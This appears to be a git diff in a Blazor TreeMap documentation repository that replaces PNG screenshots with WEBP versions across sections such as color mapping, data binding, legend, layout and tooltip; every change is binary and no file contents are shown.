diff --git a/blazor/treemap/images/Colormapping/blazor-treemap-color-binding.png b/blazor/treemap/images/Colormapping/blazor-treemap-color-binding.png
deleted file mode 100644
index 9932ffe998..0000000000
Binary files a/blazor/treemap/images/Colormapping/blazor-treemap-color-binding.png and /dev/null differ
diff --git a/blazor/treemap/images/Colormapping/blazor-treemap-color-binding.webp b/blazor/treemap/images/Colormapping/blazor-treemap-color-binding.webp
new file mode 100644
index 0000000000..caa8d1feb2
Binary files /dev/null and b/blazor/treemap/images/Colormapping/blazor-treemap-color-binding.webp differ
diff --git a/blazor/treemap/images/Colormapping/blazor-treemap-color-for-exclude-item.png b/blazor/treemap/images/Colormapping/blazor-treemap-color-for-exclude-item.png
deleted file mode 100644
index 59860953ce..0000000000
Binary files a/blazor/treemap/images/Colormapping/blazor-treemap-color-for-exclude-item.png and /dev/null differ
diff --git a/blazor/treemap/images/Colormapping/blazor-treemap-color-for-exclude-item.webp b/blazor/treemap/images/Colormapping/blazor-treemap-color-for-exclude-item.webp
new file mode 100644
index 0000000000..d604ba0498
Binary files /dev/null and b/blazor/treemap/images/Colormapping/blazor-treemap-color-for-exclude-item.webp differ
diff --git a/blazor/treemap/images/Colormapping/blazor-treemap-color-mapping.png b/blazor/treemap/images/Colormapping/blazor-treemap-color-mapping.png
deleted file mode 100644
index 25a24e53a1..0000000000
Binary files a/blazor/treemap/images/Colormapping/blazor-treemap-color-mapping.png and /dev/null differ
diff --git a/blazor/treemap/images/Colormapping/blazor-treemap-color-mapping.webp b/blazor/treemap/images/Colormapping/blazor-treemap-color-mapping.webp
new file mode 100644
index 0000000000..e33193d9a3
Binary files /dev/null and b/blazor/treemap/images/Colormapping/blazor-treemap-color-mapping.webp differ
diff --git a/blazor/treemap/images/Colormapping/blazor-treemap-desaturation-color-mapping.png b/blazor/treemap/images/Colormapping/blazor-treemap-desaturation-color-mapping.png
deleted file mode 100644
index 7b6c55cc2e..0000000000
Binary files a/blazor/treemap/images/Colormapping/blazor-treemap-desaturation-color-mapping.png and /dev/null differ
diff --git a/blazor/treemap/images/Colormapping/blazor-treemap-desaturation-color-mapping.webp b/blazor/treemap/images/Colormapping/blazor-treemap-desaturation-color-mapping.webp
new file mode 100644
index 0000000000..74ba37c918
Binary files /dev/null and b/blazor/treemap/images/Colormapping/blazor-treemap-desaturation-color-mapping.webp differ
diff --git a/blazor/treemap/images/Colormapping/blazor-treemap-desaturation-with-multiple-color.png b/blazor/treemap/images/Colormapping/blazor-treemap-desaturation-with-multiple-color.png
deleted file mode 100644
index 20437ab13b..0000000000
Binary files a/blazor/treemap/images/Colormapping/blazor-treemap-desaturation-with-multiple-color.png and /dev/null differ
diff --git a/blazor/treemap/images/Colormapping/blazor-treemap-desaturation-with-multiple-color.webp b/blazor/treemap/images/Colormapping/blazor-treemap-desaturation-with-multiple-color.webp
new file mode 100644
index 0000000000..fa962ab0b3
Binary files /dev/null and b/blazor/treemap/images/Colormapping/blazor-treemap-desaturation-with-multiple-color.webp differ
diff --git a/blazor/treemap/images/Colormapping/blazor-treemap-equal-color-mapping.png b/blazor/treemap/images/Colormapping/blazor-treemap-equal-color-mapping.png
deleted file mode 100644
index f03ac98a11..0000000000
Binary files a/blazor/treemap/images/Colormapping/blazor-treemap-equal-color-mapping.png and /dev/null differ
diff --git a/blazor/treemap/images/Colormapping/blazor-treemap-equal-color-mapping.webp b/blazor/treemap/images/Colormapping/blazor-treemap-equal-color-mapping.webp
new file mode 100644
index 0000000000..154b7917d1
Binary files /dev/null and b/blazor/treemap/images/Colormapping/blazor-treemap-equal-color-mapping.webp differ
diff --git a/blazor/treemap/images/Colormapping/blazor-treemap-palette-color-mapping.png b/blazor/treemap/images/Colormapping/blazor-treemap-palette-color-mapping.png
deleted file mode 100644
index d1fe31bcf2..0000000000
Binary files a/blazor/treemap/images/Colormapping/blazor-treemap-palette-color-mapping.png and /dev/null differ
diff --git a/blazor/treemap/images/Colormapping/blazor-treemap-palette-color-mapping.webp b/blazor/treemap/images/Colormapping/blazor-treemap-palette-color-mapping.webp
new file mode 100644
index 0000000000..a8edc64781
Binary files /dev/null and b/blazor/treemap/images/Colormapping/blazor-treemap-palette-color-mapping.webp differ
diff --git a/blazor/treemap/images/Databinding/blazor-treemap-binding-with-odata.png b/blazor/treemap/images/Databinding/blazor-treemap-binding-with-odata.png
deleted file mode 100644
index 1c33479f68..0000000000
Binary files a/blazor/treemap/images/Databinding/blazor-treemap-binding-with-odata.png and /dev/null differ
diff --git a/blazor/treemap/images/Databinding/blazor-treemap-binding-with-odata.webp b/blazor/treemap/images/Databinding/blazor-treemap-binding-with-odata.webp
new file mode 100644
index 0000000000..ebd36e5d2f
Binary files /dev/null and b/blazor/treemap/images/Databinding/blazor-treemap-binding-with-odata.webp differ
diff --git a/blazor/treemap/images/Databinding/blazor-treemap-binding-with-odatav4.png b/blazor/treemap/images/Databinding/blazor-treemap-binding-with-odatav4.png
deleted file mode 100644
index 79ecb2f620..0000000000
Binary files a/blazor/treemap/images/Databinding/blazor-treemap-binding-with-odatav4.png and /dev/null differ
diff --git a/blazor/treemap/images/Databinding/blazor-treemap-binding-with-odatav4.webp b/blazor/treemap/images/Databinding/blazor-treemap-binding-with-odatav4.webp
new file mode 100644
index 0000000000..d435f3b4d4
Binary files /dev/null and b/blazor/treemap/images/Databinding/blazor-treemap-binding-with-odatav4.webp differ
diff --git a/blazor/treemap/images/Databinding/blazor-treemap-flat-data.png b/blazor/treemap/images/Databinding/blazor-treemap-flat-data.png
deleted file mode 100644
index 6f932a168f..0000000000
Binary files a/blazor/treemap/images/Databinding/blazor-treemap-flat-data.png and /dev/null differ
diff --git a/blazor/treemap/images/Databinding/blazor-treemap-flat-data.webp b/blazor/treemap/images/Databinding/blazor-treemap-flat-data.webp
new file mode 100644
index 0000000000..cb18bcda28
Binary files /dev/null and b/blazor/treemap/images/Databinding/blazor-treemap-flat-data.webp differ
diff --git a/blazor/treemap/images/Databinding/blazor-treemap-hierarchical-data.png b/blazor/treemap/images/Databinding/blazor-treemap-hierarchical-data.png
deleted file mode 100644
index edf1467574..0000000000
Binary files a/blazor/treemap/images/Databinding/blazor-treemap-hierarchical-data.png and /dev/null differ
diff --git a/blazor/treemap/images/Databinding/blazor-treemap-hierarchical-data.webp b/blazor/treemap/images/Databinding/blazor-treemap-hierarchical-data.webp
new file mode 100644
index 0000000000..cb2cdf3d4c
Binary files /dev/null and b/blazor/treemap/images/Databinding/blazor-treemap-hierarchical-data.webp differ
diff --git a/blazor/treemap/images/Databinding/blazor-treemap-local-data.png b/blazor/treemap/images/Databinding/blazor-treemap-local-data.png
deleted file mode 100644
index f3fcf0dd44..0000000000
Binary files a/blazor/treemap/images/Databinding/blazor-treemap-local-data.png and /dev/null differ
diff --git a/blazor/treemap/images/Databinding/blazor-treemap-local-data.webp b/blazor/treemap/images/Databinding/blazor-treemap-local-data.webp
new file mode 100644
index 0000000000..24c8ec5262
Binary files /dev/null and b/blazor/treemap/images/Databinding/blazor-treemap-local-data.webp differ
diff --git a/blazor/treemap/images/Databinding/blazor-treemap-webapiadaptor.png b/blazor/treemap/images/Databinding/blazor-treemap-webapiadaptor.png
deleted file mode 100644
index 83c3b17c50..0000000000
Binary files a/blazor/treemap/images/Databinding/blazor-treemap-webapiadaptor.png and /dev/null differ
diff --git a/blazor/treemap/images/Databinding/blazor-treemap-webapiadaptor.webp b/blazor/treemap/images/Databinding/blazor-treemap-webapiadaptor.webp
new file mode 100644
index 0000000000..1cbbc2737d
Binary files /dev/null and b/blazor/treemap/images/Databinding/blazor-treemap-webapiadaptor.webp differ
diff --git a/blazor/treemap/images/HighlightandSelection/blazor-treemap-highlight-item.png b/blazor/treemap/images/HighlightandSelection/blazor-treemap-highlight-item.png
deleted file mode 100644
index 8369696d48..0000000000
Binary files a/blazor/treemap/images/HighlightandSelection/blazor-treemap-highlight-item.png and /dev/null differ
diff --git a/blazor/treemap/images/HighlightandSelection/blazor-treemap-highlight-item.webp b/blazor/treemap/images/HighlightandSelection/blazor-treemap-highlight-item.webp
new file mode 100644
index 0000000000..96643f92fb
Binary files /dev/null and b/blazor/treemap/images/HighlightandSelection/blazor-treemap-highlight-item.webp differ
diff --git a/blazor/treemap/images/HighlightandSelection/blazor-treemap-selection.png b/blazor/treemap/images/HighlightandSelection/blazor-treemap-selection.png
deleted file mode 100644
index bdb15e7173..0000000000
Binary files a/blazor/treemap/images/HighlightandSelection/blazor-treemap-selection.png and /dev/null differ
diff --git a/blazor/treemap/images/HighlightandSelection/blazor-treemap-selection.webp b/blazor/treemap/images/HighlightandSelection/blazor-treemap-selection.webp
new file mode 100644
index 0000000000..a0efa296be
Binary files /dev/null and b/blazor/treemap/images/HighlightandSelection/blazor-treemap-selection.webp differ
diff --git a/blazor/treemap/images/Internationalization/TooltipRtl.png b/blazor/treemap/images/Internationalization/TooltipRtl.png
deleted file mode 100644
index 04bca6af0a..0000000000
Binary files a/blazor/treemap/images/Internationalization/TooltipRtl.png and /dev/null differ
diff --git a/blazor/treemap/images/Internationalization/TooltipRtl.webp b/blazor/treemap/images/Internationalization/TooltipRtl.webp
new file mode 100644
index 0000000000..f8486e6b1f
Binary files /dev/null and b/blazor/treemap/images/Internationalization/TooltipRtl.webp differ
diff --git a/blazor/treemap/images/Internationalization/blazor-treemap-bottom-left-top-right-direction.png b/blazor/treemap/images/Internationalization/blazor-treemap-bottom-left-top-right-direction.png
deleted file mode 100644
index c7806c0e93..0000000000
Binary files a/blazor/treemap/images/Internationalization/blazor-treemap-bottom-left-top-right-direction.png and /dev/null differ
diff --git a/blazor/treemap/images/Internationalization/blazor-treemap-bottom-left-top-right-direction.webp b/blazor/treemap/images/Internationalization/blazor-treemap-bottom-left-top-right-direction.webp
new file mode 100644
index 0000000000..a9e4b08811
Binary files /dev/null and b/blazor/treemap/images/Internationalization/blazor-treemap-bottom-left-top-right-direction.webp differ
diff --git a/blazor/treemap/images/Internationalization/blazor-treemap-bottom-right-top-left-direction.png b/blazor/treemap/images/Internationalization/blazor-treemap-bottom-right-top-left-direction.png
deleted file mode 100644
index f6fc309cf3..0000000000
Binary files a/blazor/treemap/images/Internationalization/blazor-treemap-bottom-right-top-left-direction.png and /dev/null differ
diff --git a/blazor/treemap/images/Internationalization/blazor-treemap-bottom-right-top-left-direction.webp b/blazor/treemap/images/Internationalization/blazor-treemap-bottom-right-top-left-direction.webp
new file mode 100644
index 0000000000..8acc7f53b1
Binary files /dev/null and b/blazor/treemap/images/Internationalization/blazor-treemap-bottom-right-top-left-direction.webp differ
diff --git a/blazor/treemap/images/Internationalization/blazor-treemap-legend-right-to-left.png b/blazor/treemap/images/Internationalization/blazor-treemap-legend-right-to-left.png
deleted file mode 100644
index 3a5e9f679a..0000000000
Binary files a/blazor/treemap/images/Internationalization/blazor-treemap-legend-right-to-left.png and /dev/null differ
diff --git a/blazor/treemap/images/Internationalization/blazor-treemap-legend-right-to-left.webp b/blazor/treemap/images/Internationalization/blazor-treemap-legend-right-to-left.webp
new file mode 100644
index 0000000000..d0ac1fa3e9
Binary files /dev/null and b/blazor/treemap/images/Internationalization/blazor-treemap-legend-right-to-left.webp differ
diff --git a/blazor/treemap/images/Internationalization/blazor-treemap-localization.png b/blazor/treemap/images/Internationalization/blazor-treemap-localization.png
deleted file mode 100644
index 73f1644b97..0000000000
Binary files a/blazor/treemap/images/Internationalization/blazor-treemap-localization.png and /dev/null differ
diff --git a/blazor/treemap/images/Internationalization/blazor-treemap-localization.webp b/blazor/treemap/images/Internationalization/blazor-treemap-localization.webp
new file mode 100644
index 0000000000..737645ceb9
Binary files /dev/null and b/blazor/treemap/images/Internationalization/blazor-treemap-localization.webp differ
diff --git a/blazor/treemap/images/Internationalization/blazor-treemap-top-left-bottom-right-direction.png b/blazor/treemap/images/Internationalization/blazor-treemap-top-left-bottom-right-direction.png
deleted file mode 100644
index 13370d5dce..0000000000
Binary files a/blazor/treemap/images/Internationalization/blazor-treemap-top-left-bottom-right-direction.png and /dev/null differ
diff --git a/blazor/treemap/images/Internationalization/blazor-treemap-top-left-bottom-right-direction.webp b/blazor/treemap/images/Internationalization/blazor-treemap-top-left-bottom-right-direction.webp
new file mode 100644
index 0000000000..048b075bbd
Binary files /dev/null and b/blazor/treemap/images/Internationalization/blazor-treemap-top-left-bottom-right-direction.webp differ
diff --git a/blazor/treemap/images/Internationalization/blazor-treemap-top-right-bottom-left-direction.png b/blazor/treemap/images/Internationalization/blazor-treemap-top-right-bottom-left-direction.png
deleted file mode 100644
index a54c41ae4a..0000000000
Binary files a/blazor/treemap/images/Internationalization/blazor-treemap-top-right-bottom-left-direction.png and /dev/null differ
diff --git a/blazor/treemap/images/Internationalization/blazor-treemap-top-right-bottom-left-direction.webp b/blazor/treemap/images/Internationalization/blazor-treemap-top-right-bottom-left-direction.webp
new file mode 100644
index 0000000000..cd246e72f8
Binary files /dev/null and b/blazor/treemap/images/Internationalization/blazor-treemap-top-right-bottom-left-direction.webp differ
diff --git a/blazor/treemap/images/Internationalization/rtl.png b/blazor/treemap/images/Internationalization/rtl.png
deleted file mode 100644
index 8af0c416d8..0000000000
Binary files a/blazor/treemap/images/Internationalization/rtl.png and /dev/null differ
diff --git a/blazor/treemap/images/Internationalization/rtl.webp b/blazor/treemap/images/Internationalization/rtl.webp
new file mode 100644
index 0000000000..df70453310
Binary files /dev/null and b/blazor/treemap/images/Internationalization/rtl.webp differ
diff --git a/blazor/treemap/images/Label.png b/blazor/treemap/images/Label.png
deleted file mode 100644
index 3a4ad6dd81..0000000000
Binary files a/blazor/treemap/images/Label.png and /dev/null differ
diff --git a/blazor/treemap/images/Label.webp b/blazor/treemap/images/Label.webp
new file mode 100644
index 0000000000..c9ac96d4bd
Binary files /dev/null and b/blazor/treemap/images/Label.webp differ
diff --git a/blazor/treemap/images/Layout/blazor-treemap-slice-and-diceauto.png b/blazor/treemap/images/Layout/blazor-treemap-slice-and-diceauto.png
deleted file mode 100644
index c6f7e55d22..0000000000
Binary files a/blazor/treemap/images/Layout/blazor-treemap-slice-and-diceauto.png and /dev/null differ
diff --git a/blazor/treemap/images/Layout/blazor-treemap-slice-and-diceauto.webp b/blazor/treemap/images/Layout/blazor-treemap-slice-and-diceauto.webp
new file mode 100644
index 0000000000..6164613ced
Binary files /dev/null and b/blazor/treemap/images/Layout/blazor-treemap-slice-and-diceauto.webp differ
diff --git a/blazor/treemap/images/Layout/blazor-treemap-slice-and-dicehorizontal.png b/blazor/treemap/images/Layout/blazor-treemap-slice-and-dicehorizontal.png
deleted file mode 100644
index 8b2b050bbc..0000000000
Binary files a/blazor/treemap/images/Layout/blazor-treemap-slice-and-dicehorizontal.png and /dev/null differ
diff --git a/blazor/treemap/images/Layout/blazor-treemap-slice-and-dicehorizontal.webp b/blazor/treemap/images/Layout/blazor-treemap-slice-and-dicehorizontal.webp
new file mode 100644
index 0000000000..02f02f7776
Binary files /dev/null and b/blazor/treemap/images/Layout/blazor-treemap-slice-and-dicehorizontal.webp differ
diff --git a/blazor/treemap/images/Layout/blazor-treemap-slice-and-dicevertical-layout.png b/blazor/treemap/images/Layout/blazor-treemap-slice-and-dicevertical-layout.png
deleted file mode 100644
index 400240c273..0000000000
Binary files a/blazor/treemap/images/Layout/blazor-treemap-slice-and-dicevertical-layout.png and /dev/null differ
diff --git a/blazor/treemap/images/Layout/blazor-treemap-slice-and-dicevertical-layout.webp b/blazor/treemap/images/Layout/blazor-treemap-slice-and-dicevertical-layout.webp
new file mode 100644
index 0000000000..390af1b333
Binary files /dev/null and b/blazor/treemap/images/Layout/blazor-treemap-slice-and-dicevertical-layout.webp differ
diff --git a/blazor/treemap/images/Layout/blazor-treemap-squarified-layout.png b/blazor/treemap/images/Layout/blazor-treemap-squarified-layout.png
deleted file mode 100644
index 15f5f34e96..0000000000
Binary files a/blazor/treemap/images/Layout/blazor-treemap-squarified-layout.png and /dev/null differ
diff --git a/blazor/treemap/images/Layout/blazor-treemap-squarified-layout.webp b/blazor/treemap/images/Layout/blazor-treemap-squarified-layout.webp
new file mode 100644
index 0000000000..669ee24b80
Binary files /dev/null and b/blazor/treemap/images/Layout/blazor-treemap-squarified-layout.webp differ
diff --git a/blazor/treemap/images/LeafItem/TemplatePosition.png b/blazor/treemap/images/LeafItem/TemplatePosition.png
deleted file mode 100644
index 89943e87b6..0000000000
Binary files a/blazor/treemap/images/LeafItem/TemplatePosition.png and /dev/null differ
diff --git a/blazor/treemap/images/LeafItem/TemplatePosition.webp b/blazor/treemap/images/LeafItem/TemplatePosition.webp
new file mode 100644
index 0000000000..c182f4b6b9
Binary files /dev/null and b/blazor/treemap/images/LeafItem/TemplatePosition.webp differ
diff --git a/blazor/treemap/images/LeafItem/blazor-treemap-change-label-position-format.png b/blazor/treemap/images/LeafItem/blazor-treemap-change-label-position-format.png
deleted file mode 100644
index ce0076a7c1..0000000000
Binary files a/blazor/treemap/images/LeafItem/blazor-treemap-change-label-position-format.png and /dev/null differ
diff --git a/blazor/treemap/images/LeafItem/blazor-treemap-change-label-position-format.webp b/blazor/treemap/images/LeafItem/blazor-treemap-change-label-position-format.webp
new file mode 100644
index 0000000000..9b05de753c
Binary files /dev/null and b/blazor/treemap/images/LeafItem/blazor-treemap-change-label-position-format.webp differ
diff --git a/blazor/treemap/images/LeafItem/blazor-treemap-gap-between-item.png b/blazor/treemap/images/LeafItem/blazor-treemap-gap-between-item.png
deleted file mode 100644
index 7a5131d318..0000000000
Binary files a/blazor/treemap/images/LeafItem/blazor-treemap-gap-between-item.png and /dev/null differ
diff --git a/blazor/treemap/images/LeafItem/blazor-treemap-gap-between-item.webp b/blazor/treemap/images/LeafItem/blazor-treemap-gap-between-item.webp
new file mode 100644
index 0000000000..e0761f970f
Binary files /dev/null and b/blazor/treemap/images/LeafItem/blazor-treemap-gap-between-item.webp differ
diff --git a/blazor/treemap/images/LeafItem/blazor-treemap-leaf-item.png b/blazor/treemap/images/LeafItem/blazor-treemap-leaf-item.png
deleted file mode 100644
index db9be9a9cc..0000000000
Binary files a/blazor/treemap/images/LeafItem/blazor-treemap-leaf-item.png and /dev/null differ
diff --git a/blazor/treemap/images/LeafItem/blazor-treemap-leaf-item.webp b/blazor/treemap/images/LeafItem/blazor-treemap-leaf-item.webp
new file mode 100644
index 0000000000..e4b01ad15a
Binary files /dev/null and b/blazor/treemap/images/LeafItem/blazor-treemap-leaf-item.webp differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-custom-legend-size.png b/blazor/treemap/images/Legend/blazor-treemap-custom-legend-size.png
deleted file mode 100644
index 3c32162cef..0000000000
Binary files a/blazor/treemap/images/Legend/blazor-treemap-custom-legend-size.png and /dev/null differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-custom-legend-size.webp b/blazor/treemap/images/Legend/blazor-treemap-custom-legend-size.webp
new file mode 100644
index 0000000000..ff92f8fdcf
Binary files /dev/null and b/blazor/treemap/images/Legend/blazor-treemap-custom-legend-size.webp differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-exclude-legend.png b/blazor/treemap/images/Legend/blazor-treemap-exclude-legend.png
deleted file mode 100644
index d3a27f6978..0000000000
Binary files a/blazor/treemap/images/Legend/blazor-treemap-exclude-legend.png and /dev/null differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-exclude-legend.webp b/blazor/treemap/images/Legend/blazor-treemap-exclude-legend.webp
new file mode 100644
index 0000000000..0182c0405e
Binary files /dev/null and b/blazor/treemap/images/Legend/blazor-treemap-exclude-legend.webp differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-hide-duplicate-legend.png b/blazor/treemap/images/Legend/blazor-treemap-hide-duplicate-legend.png
deleted file mode 100644
index e70b865759..0000000000
Binary files a/blazor/treemap/images/Legend/blazor-treemap-hide-duplicate-legend.png and /dev/null differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-hide-duplicate-legend.webp b/blazor/treemap/images/Legend/blazor-treemap-hide-duplicate-legend.webp
new file mode 100644
index 0000000000..b1df66019b
Binary files /dev/null and b/blazor/treemap/images/Legend/blazor-treemap-hide-duplicate-legend.webp differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-hide-legend-item.png b/blazor/treemap/images/Legend/blazor-treemap-hide-legend-item.png
deleted file mode 100644
index aba0daa801..0000000000
Binary files a/blazor/treemap/images/Legend/blazor-treemap-hide-legend-item.png and /dev/null differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-hide-legend-item.webp b/blazor/treemap/images/Legend/blazor-treemap-hide-legend-item.webp
new file mode 100644
index 0000000000..45414fbb9e
Binary files /dev/null and b/blazor/treemap/images/Legend/blazor-treemap-hide-legend-item.webp differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-interactive-legend.png b/blazor/treemap/images/Legend/blazor-treemap-interactive-legend.png
deleted file mode 100644
index 26f29f4423..0000000000
Binary files a/blazor/treemap/images/Legend/blazor-treemap-interactive-legend.png and /dev/null differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-interactive-legend.webp b/blazor/treemap/images/Legend/blazor-treemap-interactive-legend.webp
new file mode 100644
index 0000000000..3645f44bc1
Binary files /dev/null and b/blazor/treemap/images/Legend/blazor-treemap-interactive-legend.webp differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-legend-alignment.png b/blazor/treemap/images/Legend/blazor-treemap-legend-alignment.png
deleted file mode 100644
index 4720a168d8..0000000000
Binary files a/blazor/treemap/images/Legend/blazor-treemap-legend-alignment.png and /dev/null differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-legend-alignment.webp b/blazor/treemap/images/Legend/blazor-treemap-legend-alignment.webp
new file mode 100644
index 0000000000..d16e33d140
Binary files /dev/null and b/blazor/treemap/images/Legend/blazor-treemap-legend-alignment.webp differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-legend-paging.png b/blazor/treemap/images/Legend/blazor-treemap-legend-paging.png
deleted file mode 100644
index ea8a67660f..0000000000
Binary files a/blazor/treemap/images/Legend/blazor-treemap-legend-paging.png and /dev/null differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-legend-paging.webp b/blazor/treemap/images/Legend/blazor-treemap-legend-paging.webp
new file mode 100644
index 0000000000..6fdf6b9e82
Binary files /dev/null and b/blazor/treemap/images/Legend/blazor-treemap-legend-paging.webp differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-legend-position-based-on-size.png b/blazor/treemap/images/Legend/blazor-treemap-legend-position-based-on-size.png
deleted file mode 100644
index e8d9a89459..0000000000
Binary files a/blazor/treemap/images/Legend/blazor-treemap-legend-position-based-on-size.png and /dev/null differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-legend-position-based-on-size.webp b/blazor/treemap/images/Legend/blazor-treemap-legend-position-based-on-size.webp
new file mode 100644
index 0000000000..df56d59ea4
Binary files /dev/null and b/blazor/treemap/images/Legend/blazor-treemap-legend-position-based-on-size.webp differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-legend-position.png b/blazor/treemap/images/Legend/blazor-treemap-legend-position.png
deleted file mode 100644
index b46e766308..0000000000
Binary files a/blazor/treemap/images/Legend/blazor-treemap-legend-position.png and /dev/null differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-legend-position.webp b/blazor/treemap/images/Legend/blazor-treemap-legend-position.webp
new file mode 100644
index 0000000000..f8cae45147
Binary files /dev/null and b/blazor/treemap/images/Legend/blazor-treemap-legend-position.webp differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-legend-text-with-binding.png b/blazor/treemap/images/Legend/blazor-treemap-legend-text-with-binding.png
deleted file mode 100644
index fa0738ff2e..0000000000
Binary files a/blazor/treemap/images/Legend/blazor-treemap-legend-text-with-binding.png and /dev/null differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-legend-text-with-binding.webp b/blazor/treemap/images/Legend/blazor-treemap-legend-text-with-binding.webp
new file mode 100644
index 0000000000..2493ed4416
Binary files /dev/null and b/blazor/treemap/images/Legend/blazor-treemap-legend-text-with-binding.webp differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-legend.png b/blazor/treemap/images/Legend/blazor-treemap-legend.png
deleted file mode 100644
index 75f6be32ad..0000000000
Binary files a/blazor/treemap/images/Legend/blazor-treemap-legend.png and /dev/null differ
diff --git a/blazor/treemap/images/Legend/blazor-treemap-legend.webp b/blazor/treemap/images/Legend/blazor-treemap-legend.webp
new file mode 100644
index 0000000000..7b800344e6
Binary files /dev/null and b/blazor/treemap/images/Legend/blazor-treemap-legend.webp differ
diff --git a/blazor/treemap/images/Levels/blazor-treemap-custom-header-height.png b/blazor/treemap/images/Levels/blazor-treemap-custom-header-height.png
deleted file mode 100644
index f219c2b8fa..0000000000
Binary files a/blazor/treemap/images/Levels/blazor-treemap-custom-header-height.png and /dev/null differ
diff --git a/blazor/treemap/images/Levels/blazor-treemap-custom-header-height.webp b/blazor/treemap/images/Levels/blazor-treemap-custom-header-height.webp
new file mode 100644
index 0000000000..14d91c637d
Binary files /dev/null and b/blazor/treemap/images/Levels/blazor-treemap-custom-header-height.webp differ
diff --git a/blazor/treemap/images/Levels/blazor-treemap-header-alignment.png b/blazor/treemap/images/Levels/blazor-treemap-header-alignment.png
deleted file mode 100644
index 64642c0e24..0000000000
Binary files a/blazor/treemap/images/Levels/blazor-treemap-header-alignment.png and /dev/null differ
diff --git a/blazor/treemap/images/Levels/blazor-treemap-header-alignment.webp b/blazor/treemap/images/Levels/blazor-treemap-header-alignment.webp
new file mode 100644
index 0000000000..7254922403
Binary files /dev/null and b/blazor/treemap/images/Levels/blazor-treemap-header-alignment.webp differ
diff --git a/blazor/treemap/images/Levels/blazor-treemap-levels-with-group-gap.png b/blazor/treemap/images/Levels/blazor-treemap-levels-with-group-gap.png
deleted file mode 100644
index 367042be5b..0000000000
Binary files a/blazor/treemap/images/Levels/blazor-treemap-levels-with-group-gap.png and /dev/null differ
diff --git a/blazor/treemap/images/Levels/blazor-treemap-levels-with-group-gap.webp b/blazor/treemap/images/Levels/blazor-treemap-levels-with-group-gap.webp
new file mode 100644
index 0000000000..d10e613d7a
Binary files /dev/null and b/blazor/treemap/images/Levels/blazor-treemap-levels-with-group-gap.webp differ
diff --git a/blazor/treemap/images/Levels/blazor-treemap-levels-with-group-path.png b/blazor/treemap/images/Levels/blazor-treemap-levels-with-group-path.png
deleted file mode 100644
index e5ebab021f..0000000000
Binary files a/blazor/treemap/images/Levels/blazor-treemap-levels-with-group-path.png and /dev/null differ
diff --git a/blazor/treemap/images/Levels/blazor-treemap-levels-with-group-path.webp b/blazor/treemap/images/Levels/blazor-treemap-levels-with-group-path.webp
new file mode 100644
index 0000000000..e5da9c2467
Binary files /dev/null and b/blazor/treemap/images/Levels/blazor-treemap-levels-with-group-path.webp differ
diff --git a/blazor/treemap/images/Levels/headerTemplate.png b/blazor/treemap/images/Levels/headerTemplate.png
deleted file mode 100644
index ad7fb97af3..0000000000
Binary files a/blazor/treemap/images/Levels/headerTemplate.png and /dev/null differ
diff --git a/blazor/treemap/images/Levels/headerTemplate.webp b/blazor/treemap/images/Levels/headerTemplate.webp
new file mode 100644
index 0000000000..95002fe5e0
Binary files /dev/null and b/blazor/treemap/images/Levels/headerTemplate.webp differ
diff --git a/blazor/treemap/images/Print/blazor-treemap-printing.png b/blazor/treemap/images/Print/blazor-treemap-printing.png
deleted file mode 100644
index 71627178a9..0000000000
Binary files a/blazor/treemap/images/Print/blazor-treemap-printing.png and /dev/null differ
diff --git a/blazor/treemap/images/Print/blazor-treemap-printing.webp b/blazor/treemap/images/Print/blazor-treemap-printing.webp
new file mode 100644
index 0000000000..d135d11e62
Binary files /dev/null and b/blazor/treemap/images/Print/blazor-treemap-printing.webp differ
diff --git a/blazor/treemap/images/Print/export.png b/blazor/treemap/images/Print/export.png
deleted file mode 100644
index 1fa0ed69e9..0000000000
Binary files a/blazor/treemap/images/Print/export.png and /dev/null differ
diff --git a/blazor/treemap/images/Print/export.webp b/blazor/treemap/images/Print/export.webp
new file mode 100644
index 0000000000..d0e7bced86
Binary files /dev/null and b/blazor/treemap/images/Print/export.webp differ
diff --git a/blazor/treemap/images/RenderTreemap.png b/blazor/treemap/images/RenderTreemap.png
deleted file mode 100644
index 4ccd4a82ce..0000000000
Binary files a/blazor/treemap/images/RenderTreemap.png and /dev/null differ
diff --git a/blazor/treemap/images/RenderTreemap.webp b/blazor/treemap/images/RenderTreemap.webp
new file mode 100644
index 0000000000..db14dc6eef
Binary files /dev/null and b/blazor/treemap/images/RenderTreemap.webp differ
diff --git a/blazor/treemap/images/Tooltip/blazor-treemap-custom-tooltip.png b/blazor/treemap/images/Tooltip/blazor-treemap-custom-tooltip.png
deleted file mode 100644
index a508610cb9..0000000000
Binary files a/blazor/treemap/images/Tooltip/blazor-treemap-custom-tooltip.png and /dev/null differ
diff --git a/blazor/treemap/images/Tooltip/blazor-treemap-custom-tooltip.webp b/blazor/treemap/images/Tooltip/blazor-treemap-custom-tooltip.webp
new file mode 100644
index 0000000000..f0e537eedd
Binary files /dev/null and b/blazor/treemap/images/Tooltip/blazor-treemap-custom-tooltip.webp differ
diff --git a/blazor/treemap/images/Tooltip/blazor-treemap-tooltip-format.png b/blazor/treemap/images/Tooltip/blazor-treemap-tooltip-format.png
deleted file mode 100644
index 7f3fcd598a..0000000000
Binary files a/blazor/treemap/images/Tooltip/blazor-treemap-tooltip-format.png and /dev/null differ
diff --git a/blazor/treemap/images/Tooltip/blazor-treemap-tooltip-format.webp b/blazor/treemap/images/Tooltip/blazor-treemap-tooltip-format.webp
new file mode 100644
index 0000000000..c34665b1ef
Binary files /dev/null and b/blazor/treemap/images/Tooltip/blazor-treemap-tooltip-format.webp differ
